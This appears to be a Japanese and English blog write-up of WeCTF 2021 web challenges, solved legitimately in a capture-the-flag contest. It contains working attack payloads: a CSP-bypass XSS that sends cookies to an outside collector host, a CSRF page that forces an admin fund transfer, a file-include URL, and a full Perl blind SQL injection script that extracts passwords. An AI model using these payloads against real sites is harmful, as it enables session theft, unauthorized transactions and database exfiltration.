0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WeCTF (2021) Writeup

Posted at

English version is in the latter half of this page.

日本語版

概要

WeCTF (2021/06/20 02:00 ~ 2021/06/21 02:00 (JST)) (CTFtime.org) に1人チームで参加した。
結果は1947点で、約1000チーム (正の点数を取ったのは574チーム) 中29位だった。

解けた問題と時刻は以下のようになった。
(配点の合計と結果の点数が合わない。獲得した点数ではなく次に正解したら獲得できる点数が書かれている?)
Web問オンリーとされていたが、WelcomeはWebではなさそうだった。

問題 配点 時刻 (JST)
Include 310 2021/06/20 2:01
Cache 143 2021/06/20 2:35
Coin Exchange 379 2021/06/20 4:07
Welcome 10 2021/06/20 4:13
CSP 1 335 2021/06/20 4:30
Phish 592 2021/06/20 5:29

登録

登録ではチーム名(チームで1個のアカウントを共有する形式のようだ)、メールアドレス、パスワードを要求された。
情報を送信すると、メールアドレスの確認を要求された。
届いたメールを確認すると、本文は

_

の1文字しか無かった。
メッセージのソースを確認すると、

Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>

というそれっぽい部分があった。 (一部の文字を伏せている)
しかし、このURLにそのままアクセスしても、うまく登録ができなかった。
emailの間の=を消すのに加え、2箇所ある=3D=に置き換えてアクセスすることで、登録ができた。

解けた問題

Welcome

問題文より

The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")

b64decode("")の間の文字列に対しCyberChefでFrom Base64 → URL Decodeをすることで、flagが得られた。

we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}

Cache

WebページのURLとソースコードが与えられた。

指定のURLの一つhttp://cache.sf.ctf.so/にアクセスすると、Page not foundの画面になり、

Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:

  1. index
  2. flag
    The empty path didn’t match any of these.

と表示された。

http://cache.sf.ctf.so/indexにアクセスすると、

Not thing here, check out /flag.

と表示された。

http://cache.sf.ctf.so/flagにアクセスすると、

Only admin can view this!

と表示された。

配布されたソースコードをチェックすると、cache/cache_middleware.pyにおいて、
パスが.css.js.htmlのいずれかで終わっていたらキャッシュをするようになっているのが読み取れた。
さらに、パスに.htmlを加えたhttp://cache.sf.ctf.so/flag.htmlにアクセスしても、

Only admin can view this!

と表示された。
これを踏まえ、まずUrl Viewer (指定のURLにadminとしてアクセスしてくれるツール)で
http://cache.sf.ctf.so/flag.htmlにアクセスさせ、すぐに手元のブラウザでも同じURLにアクセスすることで、
flagが得られた。

we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}

Include

WebページのURLが与えられた。
また、問題文より/flag.txtを読めば良さそうである。

指定のURLの一つhttp://include.sf.ctf.so/にアクセスすると、

 <?php
show_source(__FILE__);
@include $_GET["🤯"];

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3

と表示された。
表示された絵文字をブラウザのURL欄にコピペし、パラメータとして使うための部分を補った
http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txtにアクセスすることで、flagが得られた。

we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}

CSP 1

WebページのURLとソースコードが与えられた。

指定のURLの一つにアクセスすると、HTMLを入力する欄と送信ボタンが表示された。
例えばaaaaと入力して送信すると、aaaaが表示された。この時、ページのソースは

<!-- Permalink: it's in navbar dumbass -->

<hr>

aaaa

となった。

さらに、<script>alert(200)</script>を送信すると、同様に

<!-- Permalink: it's in navbar dumbass -->

<hr>

<script>alert(200)</script>

となったが、ダイアログは出なかった。
Firefoxの開発者ツールで確認すると、これは

Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'

というヘッダがあり、script-src 'none';によってスクリプトの読み込みが抑制されているからである。

配布されたソースコードをチェックすると、このヘッダのimg-src 'self'の後の部分に
imgタグのsrc属性に設定されたURLのプロトコルとホスト名の部分を加えている部分があった。

これを踏まえ、送信する内容を

<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>

とすると、ヘッダが

Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'

となり、指定にscript-src 'unsafe-inline';が加わる。
すると、Firefoxでは重複した指定は最初のものが採用されるため、直書きしたスクリプトの実行が許可され、
ダイアログが表示された。

さらに、

<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>

(実際はexample.comのかわりにRequestBinのendpointのドメインを使用する)を送信すると、
RequestBinにcookieの内容を送ってくれるようになる。
この送信結果のページのURLをUrl Viewerに送ると、

/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D

のような形でデータが送られてきた。
これにCyberChefのURL Decodeをかけることで、flagが得られた。

we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}

Coin Exchange

WebページのURLとソースコードが与えられた。

指定のURLの一つにアクセスすると、UsernameとPasswordを入れてLogin/Registerする画面になった。
例えばそれぞれ適当なUUIDを入れるといいだろう。

最初にログインすると、以下の状況になる。

  • 1000 USDと0 Ethを持っている
  • 交換するEthの量を指定してUSDに替えることができる (0.00045 Eth/USDくらい)
  • 交換するUSDの量を指定してEthに替えることができる (2200 USD/Ethくらい)
  • 送り先のトークンと送るEthの量を指定して送れそうな画面があるが、Only admin can transfer :( と言われる
  • Rankings画面を見ると、TheBossが大きな残高を持っていることがわかる

問題文より、自分の残高を$5000以上にすればflagを送ってもらえそうである。
さらに、

Hint: Search CSRF if you don't know what that is.

というヒントも出ている。
ということは、adminからEthを送ってもらうのがよさそうである。

これを実現するため、配布されたソースコード中のindex.htmlに対し、以下の5点の改造を加えた。
1点目に、WebSocketオブジェクトを作っている部分(2箇所)で、ドメインをページのURLから求めているので、
以下のような直接埋め込みに書き換えた。

socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");

2点目に、scriptタグの直下(関数やオブジェクトの定義の外)に以下を追加し、
ページを開いただけで処理が開始されるようにすた。

window.addEventListener("load", start_socket);

3点目に、start_socket関数内の

alert(content["message"])

の直前に

{
    let img = document.createElement("img");
    let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
    img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "&eth=" +value.eth);
    document.body.appendChild(img);
}

を書き加え、状況がRequestBinに伝わってくるようにした。
ただし、example.comはRequestBinのendpointのドメインに置き換える。

4点目に、start_socket関数内の

routine = setInterval(routine_update, 1000)

の直後に

send_content("buy", {amount: "110000"})

を書き加え、処理の開始時にUSDからEthへの交換を行うようにした。

5点目に、routine_update関数の前に

let safety = 5;

を、同関数内の最後に

if (parseFloat(eth) > 40 && safety-- > 0) {
    send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}

を書き加え、Ethを十分持っていたら送るようにした。
ただし、to_token:の後の文字列はYour Tokenの所に表示される自分のトークンとする。

改造後、このファイルをインターネットからHTTPでアクセスできる場所に置き、そのURLをUrl Viewerに渡した。
他の人に見られる可能性を下げるため、URLにUUIDを含めるなどするといいだろう。

すると、RequestBinにFilledのメッセージ(交換した事を表す)が送られてきて、
10秒くらいすると今度はTransferredのメッセージが送られてきた。
問題サイトに戻って確認すると、持っているEthの量が増え、Total Net USD Valueが5000を超えた。

しかし、画面上にflagは出てこなかった。
EthをUSDに交換し、持っているUSDが5000を超えても、変わらなかった。

Firefoxの開発者ツールでネットワークの様子をチェックし、2番目のwebsocketの応答を見ると、
受信したデータの最後にflagが書かれていた。

we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}

Phish

WebページのURLとソースコードが与えられた。
指定のURLの一つにアクセスすると、ユーザーIDとパスワードを入力する画面になった。
両方にaを入れてEnterキーを押してみると、

Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username

と表示された。

配布されたソースコード(main.py)をチェックすると、入力したusernameとpasswordを用いて

sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"

というSQLをSQLiteで実行し、例外が出た場合はそれを、
出なかった場合は"Your password is leaked :)"を出力するようになっていた。

また、ユーザーIDに07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '
パスワードにaを入れてみると、

Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username

と表示された。
このことから、最初にユーザーID<UUID>_1を送信しておき、
ユーザーIDとして<同じUUID>_' || (select 1 from user where <真偽を判定したい式>) || '
を用いることで、UNIQUEを含む応答が返ってきたら式が真、
NOT NULLを含む応答が返ってきたら式が偽と判定できることがわかる。

この性質を用い、まず(select count(*) from user where password like 'we{%}') = 1が真であること、
すなわちflagの書式に沿ったパスワードが1個しか無いことを確認した。

このことを確認したら、あとはこのパスワードの長さと各文字をそれぞれ二分探索で求めることができる。

該当のパスワードを求めるプログラム
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;
use URI::Escape;

my $sock;
my $closed = 1;

sub check {
	my ($query) = @_;
	if ($closed) {
		$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
		die "connection failed: $!" unless $sock;
		binmode($sock);
		$closed = 0;
	}

	my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
	my $body = "username=" . uri_escape($query2) . "&password=a";

	print $sock "POST /add HTTP/1.1\r\n";
	print $sock "Host: phish.sf.ctf.so\r\n";
	print $sock "Connection: keep-alive\r\n";
	print $sock "User-Agent: Perl\r\n";
	print $sock sprintf("Content-Length: %d\r\n", length($body));
	print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
	print $sock "\r\n";
	print $sock $body;

	# receive headers
	my $keep = 0;
	my $length = -1;
	while (my $line = <$sock>) {
		if ($line eq "\r\n") { last; }
		if ($line =~ /^transfer-encoding:\s*chunked/i) {
			die "panic: chunked unsupported!\n";
		}
		if ($line =~ /^content-length:\s*(\d+)/i) {
			$length = int($1);
		}
		if ($line =~ /^connection:\s*keep-alive/i) {
			$keep = 1;
		}
	}
	my $rcvd = "";
	while ($length > 0) {
		my $data = "";
		my $res = read($sock, $data, $length);
		die "socket error $!\n" unless defined($res);
		if ($res == 0) { last; }
		$rcvd .= $data;
		$length -= $res;
	}
	unless ($keep) {
		close($sock);
		$closed = 1;
	}
	if (index($rcvd, "UNIQUE") >= 0) {
		return 1;
	}
	if (index($rcvd, "NOT NULL") >= 0) {
		return 0;
	}
	die "panic: unexpected response:\n$rcvd\n";
}

# put the username to use in the server
eval {
	&check("1=1");
};

unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
	die "panic: multiple password exists\n";
}

my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
	$ge *= 2;
}

while ($less + 1 < $ge) {
	my $mid = $less + (($ge - $less) >> 1);
	if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
		$ge = $mid;
	} else {
		$less = $mid;
	}
}

my $passlen = $ge;

print "length of password = $passlen\n";

my $pass = "";

for (my $i = 1; $i <= $passlen; $i++) {
	my $le = 0x20;
	my $greater = 0x7f;
	while ($le + 1 < $greater) {
		my $mid = $le + (($greater - $le) >> 1);
		my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
		if (&check($query)) {
			$le = $mid;
		} else {
			$greater = $mid;
		}
	}
	$pass .= chr($le);
	print "done $i / $passlen\n";
}

print "$pass\n";

close($sock);
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}

English version

About

I participated in WeCTF (June 20, 2021 02:00 ~ June 21, 2021 02:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 1947 points and ranked 29th among about 1000 teams (574 teams earned positive score).

Here are challenges I solved and the times I solved on.
(The total of the Values and the resulting score don't match. Maybe the values are not scores earned but scores to be earned by next acceptance?)
This competition is announced as Web challenges only, but the challenge Welcome didn't look like Web one.

Challenge Value Time (JST: UTC+9)
Include 310 2021/06/20 2:01
Cache 143 2021/06/20 2:35
Coin Exchange 379 2021/06/20 4:07
Welcome 10 2021/06/20 4:13
CSP 1 335 2021/06/20 4:30
Phish 592 2021/06/20 5:29

Registration

In the registration, a team name (It looked like we should share one account among one team), an e-mail address and a password.
Submitting the information, I was asked to confirm the e-mail address.
Seeing the e-mail received, the body had only one character:

_

Viewing the source of the message, I found a part that looks important:

Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>

(some characters are hidden)

However, the registration didn't success by just accessing this URL.
I succeeded to register by accessing after not only removing the = between em and ail but also replacing the two =3Ds to =.

Challenges I solved

Welcome

The challenge description said:

The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")

I got the flag by applying From Base64 and URL Decode on CyberChef to the string between b64decode(" and ").

we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}

Cache

URLs of Web page and its source code were given.

I accessed one of the URLs http://cache.sf.ctf.so/, finding it is saying "Page not found" with

Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:

  1. index
  2. flag
    The empty path didn’t match any of these.

Accessing http://cache.sf.ctf.so/index showed me

Not thing here, check out /flag.

Accessing http://cache.sf.ctf.so/flag showed me

Only admin can view this!

Checking the provided source code, cache/cache_middleware.py was caching the contents if the path ends one of .css, js, or .html.
Also, I accessed http://cache.sf.ctf.so/flag.html (with .html added to the path) and it also showed me

Only admin can view this!

Based on this, I first had the Url Viewer (a tool that accesses a specified URL as the admin) access
http://cache.sf.ctf.so/flag.html.
Then accessed the same URL with a Web browser soon, getting the flag.

we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}

Include

URLs of Web page were given.
Also the challenge description suggested that we should read /flag.txt.

Accessing one of the URLs http://include.sf.ctf.so/, it showed

 <?php
show_source(__FILE__);
@include $_GET["🤯"];

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3

I got the flag by accessing http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt
(copy-and-pasted the emoji to the address bar and added things to use that for the parameter)

we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}

CSP 1

URLs of Web page and its source code were given.

Accessing one of the URLs, an field to give some HTML and a submit button were presented.
I entered aaaa and submitted, seeing aaaa displayed. The source code of the page for this was:

<!-- Permalink: it's in navbar dumbass -->

<hr>

aaaa

I also sent <script>alert(200)</script> and got the page

<!-- Permalink: it's in navbar dumbass -->

<hr>

<script>alert(200)</script>

But the dialog didn't show.

Checking with the developer tool on Firefox, this is because there exists a HTTP header

Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'

and the script-src 'none'; is preventing it from loading scripts.

Checking the source code provided, it was adding URLs specified as the src attributes of img tags without the path part after img-src 'self' of the header.

Based on this, I submitted

<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>

This makes the header be

Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'

and script-src 'unsafe-inline'; is added.
Now the dialog is shown because Firefox uses the first one for duplicate entries and it allows executing scripts that are directly written.

Moreover, sending

<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>

(example.com should be replaced to a domain for RequestBin endpoint)
makes it send the contents of cookie to RequestBin.

Sending an URL for this page to the Url Viewer resulted in receiving data

/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D

I got the flag by applying URL Decode on CyberChef to this.

we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}

Coin Exchange

URLs of Web page and its source code were given.

Accessing one of the URLs, it showed a form to Login/Register with a Username and a Password.
Entering some (different) UUID for each them will work, for example.

The situation after the first login is:

  • I have 1000 USD and 0 Eth
  • I can exchange Eth to USD with specifying the amount of Eth to exchange (about 0.00045 Eth/USD)
  • I can exchange USD to Eth with specifying the amount of USD to exchange (about 2200 USD/Eth)
  • There is a screen that seems possible to send some Eth with specifying the token of destination and the amount of Eth to send, but it says "Only admin can transfer :(" when I try to use that.
  • The Rankings screen shows TheBoss having large balance.

The challenge description suggested that flag will be sent after making my balance $5000 or more.
Also there was a hint:

Hint: Search CSRF if you don't know what that is.

It looks like suggesting that I should have the admin send some Eth to me.

To achieve this, I made following 5 modifications to the index.html in the source code provided.

Firstly, I replaced the domain generated from the URL of the page to a fixed one like below in the two creations of WebSocket object.

socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");

Secondly, I added this just under the script tag (outside definitions of functions and objects), making it begin the process just by opening the page.

window.addEventListener("load", start_socket);

Thirdly, I added

{
    let img = document.createElement("img");
    let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
    img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "&eth=" +value.eth);
    document.body.appendChild(img);
}

(replace example.com with a domain for RequestBin endpoint)
just before

alert(content["message"])

in the start_socket function to have it send the status to RequestBin.

Fourthly, I added

send_content("buy", {amount: "110000"})

just after

routine = setInterval(routine_update, 1000)

in the start_socket function to have it exchange some USD to Eth at the beginning.

Fifthly, I added

let safety = 5;

before the routine_update function and

if (parseFloat(eth) > 40 && safety-- > 0) {
    send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}

at the end of the function to have it send Eth when it has enough one.
(Use our own token presented after "Your Token" for the string after to_token:)

After applying these modifications, I made this file available from the Internet via HTTP and sent its URL to the Url Viewer.
To prevent this file from being seen from other people, the URL should contain UUID or something.

After that, a "Filled" (the exchange done) message was sent to RequestBin,
and a "Transferred" message was sent to RequestBin about 10 seconds after that.
Checking the challenge page, the amount of Eth I have was glowed and the Total Net USD Value exceeded 5000.

However, the flag wasn't shown on the screen after that.
The situation didn't change even after making my USD over 5000 by exchanging Eth to USD.

I found the flag in the last part of the received messages by checking the network via the developer tool on Firefox and seeing the second websocket response.

we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}

Phish

URLs of Web page and its source code were given.
Accessing one of the URLs, it showed me a form to enter an user ID and a password.

I entered a to both of them and hit Enter key, seeing a message

Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username

Checking the source code provided (main.py), it was executing a SQL

sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"

with the username and password entered on SQLite, and printing the exception thrown or "Your password is leaked :)" when no exception were thrown.

Also I entered 07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || ' for the user ID and a for the password, getting a message

Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username

This is implying that we can check if an expression is true by:

  1. Send a user ID <UUID>_1
  2. Send a user ID <the same UUID>_' || (select 1 from user where <the expression to check>) || '
  3. Judge as true if the response contains "UNIQUE" and judge as false if it contains "NOT NULL"

Firstly I verified that (select count(*) from user where password like 'we{%}') = 1 is true.
It means there is only one password that matches the format of the flag.

Verifying this, we can obtain the length and each characters of the password using binary search.

A program to obtain the password
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;
use URI::Escape;

my $sock;
my $closed = 1;

sub check {
	my ($query) = @_;
	if ($closed) {
		$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
		die "connection failed: $!" unless $sock;
		binmode($sock);
		$closed = 0;
	}

	my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
	my $body = "username=" . uri_escape($query2) . "&password=a";

	print $sock "POST /add HTTP/1.1\r\n";
	print $sock "Host: phish.sf.ctf.so\r\n";
	print $sock "Connection: keep-alive\r\n";
	print $sock "User-Agent: Perl\r\n";
	print $sock sprintf("Content-Length: %d\r\n", length($body));
	print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
	print $sock "\r\n";
	print $sock $body;

	# receive headers
	my $keep = 0;
	my $length = -1;
	while (my $line = <$sock>) {
		if ($line eq "\r\n") { last; }
		if ($line =~ /^transfer-encoding:\s*chunked/i) {
			die "panic: chunked unsupported!\n";
		}
		if ($line =~ /^content-length:\s*(\d+)/i) {
			$length = int($1);
		}
		if ($line =~ /^connection:\s*keep-alive/i) {
			$keep = 1;
		}
	}
	my $rcvd = "";
	while ($length > 0) {
		my $data = "";
		my $res = read($sock, $data, $length);
		die "socket error $!\n" unless defined($res);
		if ($res == 0) { last; }
		$rcvd .= $data;
		$length -= $res;
	}
	unless ($keep) {
		close($sock);
		$closed = 1;
	}
	if (index($rcvd, "UNIQUE") >= 0) {
		return 1;
	}
	if (index($rcvd, "NOT NULL") >= 0) {
		return 0;
	}
	die "panic: unexpected response:\n$rcvd\n";
}

# put the username to use in the server
eval {
	&check("1=1");
};

unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
	die "panic: multiple password exists\n";
}

my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
	$ge *= 2;
}

while ($less + 1 < $ge) {
	my $mid = $less + (($ge - $less) >> 1);
	if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
		$ge = $mid;
	} else {
		$less = $mid;
	}
}

my $passlen = $ge;

print "length of password = $passlen\n";

my $pass = "";

for (my $i = 1; $i <= $passlen; $i++) {
	my $le = 0x20;
	my $greater = 0x7f;
	while ($le + 1 < $greater) {
		my $mid = $le + (($greater - $le) >> 1);
		my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
		if (&check($query)) {
			$le = $mid;
		} else {
			$greater = $mid;
		}
	}
	$pass .= chr($le);
	print "done $i / $passlen\n";
}

print "$pass\n";

close($sock);
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?